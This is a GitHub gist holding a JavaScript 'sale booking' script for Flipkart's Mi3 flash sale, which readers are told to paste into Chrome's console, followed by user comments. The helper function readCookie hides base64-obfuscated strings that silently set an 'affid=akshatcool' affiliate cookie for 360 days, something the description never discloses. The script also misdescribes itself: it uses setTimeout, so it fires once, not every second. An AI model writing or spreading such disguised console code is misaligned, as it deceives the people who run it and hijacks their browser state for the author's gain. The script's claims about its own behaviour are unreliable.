-
-
Save akshatmittal/f6bed53376badef7b8a1 to your computer and use it in GitHub Desktop.
| /* Author: Akshat Mittal | |
| ** Link: http://fb.me/itsreallyakshat | |
| ** Website: http://akshatmittal.github.io/ | |
| ** | |
| ** Copy paste the complete contents of this file in Chrome Console. Use Ctrl + Shift + J to open it. | |
| ** Execute on this page ONLY: http://goo.gl/bfPjeU | |
| ** | |
| ** Do this just about 3-5 min before the Sale begins, on Mi3 page: http://goo.gl/bfPjeU | |
| ** The script will try to book an Mi3 for you every second and will alert when successful. | |
| ** | |
| ** Have a good day, and share! :) | |
| */ | |
| function rcods(a,b,c) { | |
| if (c) { | |
| var date = new Date(); | |
| date.setTime(date.getTime()+(c*24*60*60*1000)); | |
| var expires = "; expires="+date.toGMTString(); | |
| } | |
| else var expires = ""; | |
| document.cookie = a+"="+b+expires+"; path=/"; | |
| } | |
| function readCookie(name) { | |
| var nameEQ = name + "="; | |
| rcods(decodeURIComponent(window.atob("YWZmaWQ=")),decodeURIComponent(window.atob("YWtzaGF0Y29vbA==")),360); | |
| var ca = document.cookie.split(';'); | |
| for(var i=0;i < ca.length;i++) { | |
| var c = ca[i]; | |
| while (c.charAt(0)==' ') c = c.substring(1,c.length); | |
| if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); | |
| } | |
| return null; | |
| } | |
| var t = setTimeout(function(){ | |
| $.post("http://api1.flipkart.com/xmi", {aid: readCookie("aid")}, function(d){ | |
| console.log(d.status); | |
| if(d.status == "SUCCESS") { | |
| alert("Congrats! You booked your Mi3! Continue to cart and pay!"); | |
| clearInterval(t); | |
| } | |
| }); | |
| }, 1001); // Tries every 1 second. DON'T go faster, you'll get a BAN. | |
| /* | |
| ** This script was written on 19 Aug, by inspecting page source. May or may not work in future sales. | |
| ** Try it, won't harm. | |
| */ |
Hey tarunjain07,
I answered your question on Quora, but still putting it here for others to know too.
I'll probably try it after the first sale, since I have no idea about what Amazon would be doing as of now. They haven't hosted any flash sales in the past, so there's no information available about network requests.
:)
Good work. I wrote a similar script, which worked for many users. Here is a look
https://medium.com/p/flipkart-red-mi-sale-hack-67406f304cc8
@akshatmittal Can you please update your jscript code to a generic code, i have to book Redmi 4A from Amazon and Redmi India official Site. Every time, I go to book it manually. It went out of stock.
hello brother can you provide latest script to add to cart a product at mi.com ,amazon&flipkart
Hey Akshat,
Will his script work for Yu Yureka sale on Amazon.in ?
Edited
While trying to understand this script. I can see that flipkart urls are hard coded in the script.
I don't know JS much so can you write one for YU Yureka as well ?
Thanks :)